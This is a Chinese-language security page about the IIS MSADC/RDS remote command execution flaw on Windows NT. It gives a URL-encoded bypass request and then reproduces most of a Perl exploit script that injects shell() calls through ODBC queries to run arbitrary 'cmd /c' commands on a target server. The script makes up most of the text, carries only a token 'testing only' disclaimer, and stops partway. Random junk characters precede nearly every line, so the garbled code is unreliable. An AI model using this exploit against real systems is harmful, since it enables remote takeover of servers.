IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T%B&HsH FCgr 涉及程序:
#?DwOUw Microsoft NT server
a<*q+a(*W xp7`[. 描述:
i=jwk_y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
dZK/v >Z r f}H 详细:
MH7 n@.t 如果你没有时间读详细内容的话,就删除:
[|.IXdJ! c:\Program Files\Common Files\System\Msadc\msadcs.dll
^YiGvZJ 有关的安全问题就没有了。
R~
n[g GCm(3%{V%( 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
uj;tmK>; yq]= +X>( 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
d5jZ? 关于利用ODBC远程漏洞的描述,请参看:
nI]8w6eCV &8$Gyu http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /6",#B}%b XT+V> HI 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.Nt;J,U http://www.microsoft.com/security/bulletins/MS99-025faq.asp a4aM.o )S"!)\4 b 这里不再论述。
x#
M MrV&M rMr:\M]t 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;GQCq@)- ,Y9bXC8+dU /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)<YfLDgTs 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3ScOJo m-?hHdO r c++c,= #将下面这段保存为txt文件,然后: "perl -x 文件名"
F^4mO| gi {rqM #!perl
1?I_fA} #
oD<aWZ"Z # MSADC/RDS 'usage' (aka exploit) script
Ln+;HorZ] #
y[`>,?ns5 # by rain.forest.puppy
+%Z#!1u #
Wdk]>w
'L # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0nr 5(4h # beta test and find errors!
~t+T5`K (}B3df use Socket; use Getopt::Std;
2`d KnaF| getopts("e:vd:h:XR", \%args);
u~c75Mk_v 3ch<a0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t]gZ^5 i 1dE.f; if (!defined $args{h} && !defined $args{R}) {
Phq"A[4=O print qq~
MoZ8A6e?B Usage: msadc.pl -h <host> { -d <delay> -X -v }
E4N/or -h <host> = host you want to scan (ip or domain)
1u8 k} -d <seconds> = delay between calls, default 1 second
d H N"pNNs -X = dump Index Server path table, if available
)&6ZgRq -v = verbose
!P8Y(i -e = external dictionary file for step 5
3-/F]}0y6 *3iEO> Or a -R will resume a command session
I|x?
K> S:lie*Aux* ~; exit;}
j
D kBe-` -bd'sv $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
EvYe1Y- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
CSwPL>tUV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:y.~IQN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)TfX} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
nV:RL|p2jw if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W"Tj.oCUG ?zuKVi?I if (!defined $args{R}){ $ret = &has_msadc;
;#bDz}|\AN die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}Y"vUl_I2 j=dGNi)R print "Please type the NT commandline you want to run (cmd /c assumed):\n"
yGY:EvH^? . "cmd /c ";
"c.@4#/_ $in=<STDIN>; chomp $in;
T' =6_?7K4 $command="cmd /c " . $in ;
}
fa D"msD" if (defined $args{R}) {&load; exit;}
[*J?TNk Q{|_"sfJ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
esM r@Oc &try_btcustmr;
|LRAb#F\ ?bAv{1dvT= print "\nStep 2: Trying to make our own DSN...";
I5@8=rFk &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B.C:06E5 Wl7S<>hg4 print "\nStep 3: Trying known DSNs...";
:K~sazs7J &known_dsn;
-^Qm_lN Jcy+(7lE) print "\nStep 4: Trying known .mdbs...";
99tUw'w &known_mdb;
Bg[_MDWc-P Y(u`K=* if (defined $args{e}){
'#C5m#v print "\nStep 5: Trying dictionary of DSN names...";
]N2!
'c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@\r2%M- H$V`,=H print "Sorry Charley...maybe next time?\n";
T`bUBrK6g` exit;
ik](k"1{ D\Y,2!I ##############################################################################
,D'm#Fti zGdYk-H3TH sub sendraw { # ripped and modded from whisker
3Vbt(K sleep($delay); # it's a DoS on the server! At least on mine...
+z[+kir my ($pstr)=@_;
FJ{/EloF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\a4X},h\ die("Socket problems\n");
(_]!}N if(connect(S,pack "SnA4x8",2,80,$target)){
M0g=gmau select(S); $|=1;
+|x{?%.O print $pstr; my @in=<S>;
Yw
yMCd select(STDOUT); close(S);
k }{o:
N return @in;
qyAnq%B} } else { die("Can't connect...\n"); }}
5$$#d_Gj N/'8W9#6 ##############################################################################
K$:+]fJK 7n?yf_je sub make_header { # make the HTTP request
Qea"49R my $msadc=<<EOT
8A5/jqnqt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
f[
2PAz User-Agent: ACTIVEDATA
A;^ iy]" Host: $ip
oHr0;4Lg6 Content-Length: $clen
UCXRF Connection: Keep-Alive
XUKlgl!+. 5F!Qn\{u{ ADCClientVersion:01.06
6O,:I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[2YPV\= xXc>YTK' --!ADM!ROX!YOUR!WORLD!
rd<43 Content-Type: application/x-varg
ZyDNtX% Content-Length: $reqlen
`GkCOx, g?xD*3< EOT
}#-@5["-X ; $msadc=~s/\n/\r\n/g;
Hq+QsplG return $msadc;}
t|V<K^ Mk0x#-F ##############################################################################
K a&
2>F 1Y&W>p sub make_req { # make the RDS request
j
RcE241 my ($switch, $p1, $p2)=@_;
MPDRMGR@i my $req=""; my $t1, $t2, $query, $dsn;
&F/-%l! o&&`_"18 if ($switch==1){ # this is the btcustmr.mdb query
2Wu`Dp;&l $query="Select * from Customers where City=" . make_shell();
nu7 R $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$,J0) ~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6T|Z4f| 39hep8+ elsif ($switch==2){ # this is general make table query
/Jc{aw $query="create table AZZ (B int, C varchar(10))";
Ws7fWK; $dsn="$p1";}
%#rtNDi Ow*va\0 elsif ($switch==3){ # this is general exploit table query
J4"A6`O $query="select * from AZZ where C=" . make_shell();
RRPPojKZ $dsn="$p1";}
<tBT?#C9+ 2J{vfF elsif ($switch==4){ # attempt to hork file info from index server
*;9H \% $query="select path from scope()";
/&Cq-W $dsn="Provider=MSIDXS;";}
)DhE~ \Cu=Le^ elsif ($switch==5){ # bad query
xEurkR $query="select";
QNINn>2 $dsn="$p1";}
#O!2 b@&uwS v $t1= make_unicode($query);
Tx~w(A4: $t2= make_unicode($dsn);
Uz_p-J0 $req = "\x02\x00\x03\x00";
@IsUY(Gu $req.= "\x08\x00" . pack ("S1", length($t1));
D4@?>ek6U $req.= "\x00\x00" . $t1 ;
T0")Ryu $req.= "\x08\x00" . pack ("S1", length($t2));
g%"SAeG<K $req.= "\x00\x00" . $t2 ;
9#9bm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
=DfI^$Lr: return $req;}
|9%~z0
sZCK? ##############################################################################
y705 vT0Op e6m sub make_shell { # this makes the shell() statement
-%Vh-;Ie( return "'|shell(\"$command\")|'";}
D{Nd2G (kB ##############################################################################
JyTETf,y 5I2 h(Td sub make_unicode { # quick little function to convert to unicode
fcEm:jEZ* my ($in)=@_; my $out;
{Kr}RR*{X for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?_d>-NC return $out;}
M&V4|D 8v2Wi.4T ##############################################################################
?i0+h7=6 +58^{_k+% sub rdo_success { # checks for RDO return success (this is kludge)
<Tjhj* my (@in) = @_; my $base=content_start(@in);
)s^gT]"N if($in[$base]=~/multipart\/mixed/){
Qc-W2% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9)]`le return 0;}
d*Su
c q6$6:L,< ##############################################################################
S+[,\>pY }NwmZw>_ sub make_dsn { # this makes a DSN for us
5JVBDA^#om my @drives=("c","d","e","f");
,&4
[`d print "\nMaking DSN: ";
EiC["M'} foreach $drive (@drives) {
>S`=~4 print "$drive: ";
yC5>k;/6#K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&$CyT6mb^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*vRHF1)L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
nRqP_*] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
rwUhNth-Qh return 0 if $2 eq "404"; # not found/doesn't exist
u c!6?+0h if($2 eq "200") {
P;25F foreach $line (@results) {
/_cpSq return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^Ff fc@= } return 0;}
lY`WEu vFJ4`Gjw( ##############################################################################
M<Z#4Gg#4 `_Iyr3HAf sub verify_exists {
EB+4]MsD my ($page)=@_;
OI)k0t^;D my @results=sendraw("GET $page HTTP/1.0\n\n");
wjX0r7^@ return $results[0];}
nY1PRX\ >^9j>< Z ##############################################################################
2ALYfZ|d Lp$&eROFVs sub try_btcustmr {
w\d1 my @drives=("c","d","e","f");
md{1Jn" my @dirs=("winnt","winnt35","winnt351","win","windows");
lxXF8c>U u];\v%b foreach $dir (@dirs) {
C|FI4/-e print "$dir -> "; # fun status so you can see progress
`ZC -lAY foreach $drive (@drives) {
)06. dZq\ print "$drive: "; # ditto
0[ n;ZL~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
su\Lxv
$reqlenlen=length( "$reqlen" );
Sb?v5 $clen= 206 + $reqlenlen + $reqlen;
8_D:#i '2|mg<Ft my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'SG<F,[3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/*S6 /# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=}0>S3a.7 }/NL"0j+4 ##############################################################################
aFrZ
;_ Gqar5 sub odbc_error {
Pa\yp?({q my (@in)=@_; my $base;
fEK%)Z:0 my $base = content_start(@in);
%tkL<e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jw2hB[WR $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Sf`?j $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_3KfY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!qs~j=;y3 return $in[$base+4].$in[$base+5].$in[$base+6];}
,`ehR6b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=cR=E{20 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z*^vdi0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Z79Y$d>G<E :,^x?'HK ##############################################################################
Mm"0Ip2" ;x{J45^
sub verbose {
.ddf'$6h my ($in)=@_;
.YS48 c return if !$verbose;
3AuLRI print STDOUT "\n$in\n";}
`@ Ont+ F,GG>(6c ##############################################################################
y7 W7270) 8g_GXtn(z sub save {
?O
e, my ($p1, $p2, $p3, $p4)=@_;
~ln96*)M; open(OUT, ">rds.save") || print "Problem saving parameters...\n";
VelX+|w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/$ueLa close OUT;}
g>f_'7F& _H2%6t/V ##############################################################################
CM%;r5 &